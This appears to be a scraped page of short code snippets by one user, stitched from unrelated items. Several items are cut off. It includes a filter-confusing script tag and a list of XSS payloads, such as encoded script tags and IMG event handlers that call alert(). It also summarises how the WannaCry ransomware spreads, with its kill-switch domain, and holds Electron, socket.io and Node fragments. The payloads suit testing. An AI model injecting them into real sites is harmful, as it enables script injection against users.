atmoner

SVG animate XSS vector

• SVG animate XSS vector
• XSS CheatSheet
• Top 500
• xss account takeover

filter-confusing

<script>
x = '<!--<script>'/*</script>-->*/;alert(1)

atmoner

$('body').on('click', '#messages-view a', (event) => {
  event.preventDefault();
  let link = event.target.href;
  require("electron").shell.openExternal(link);
});

atmoner

Exemple complet de client et de serveur socket.io

Pour voir une explication complète: https://stackoverflow.com/a/24232050/778272.

Comment utiliser

Créez un dossier, exécutez npm init -f, creer deux fichier server.js et client.js. Inutile de préciser que Node.js doit être installé sur votre système.

Installez les bibliothèques requises:

atmoner

%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">

atmoner

WannaCry|WannaDecrypt0r NSA-Cyberweapon-Powered Ransomware Worm

• Virus Name: WannaCrypt, WannaCry, WanaCrypt0r, WCrypt, WCRY
• Vector: All Windows versions before Windows 10 are vulnerable if not patched for MS-17-010. It uses EternalBlue MS17-010 to propagate.
• Ransom: between $300 to $600. There is code to 'rm' (delete) files in the virus. Seems to reset if the virus crashes.
• Backdooring: The worm loops through every RDP session on a system to run the ransomware as that user. It also installs the DOUBLEPULSAR backdoor. It corrupts shadow volumes to make recovery harder. (source: malwarebytes)
• Kill switch: If the website www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com is up the virus exits instead of infecting the host. (source: malwarebytes). This domain has been sinkholed, stopping the spread of the worm. Will not work if proxied (source).

update: A minor variant of the viru

atmoner

How To Clone Scrypt Based Altcoins for Fun and Profit

Wait a second, why would you want to give out the secrets?!? Because its not a secret anymore and besides, why shouldn't everyone and their neighbors be able to create a plethora of these useless yet exciting math bits? The information in this article took me a few weeks to compile and what works for me is not guaranteed to work for you. Please use this guide as a starting point to learn a bit about C programming and compiling software.

atmoner

exports.createHandler = function (method) {
  return new Handler(method);
}

Handler = function(method) {
  this.process = function(req, res) {
    params = null;
    return method.apply(this, [req, res, params]);
  }
}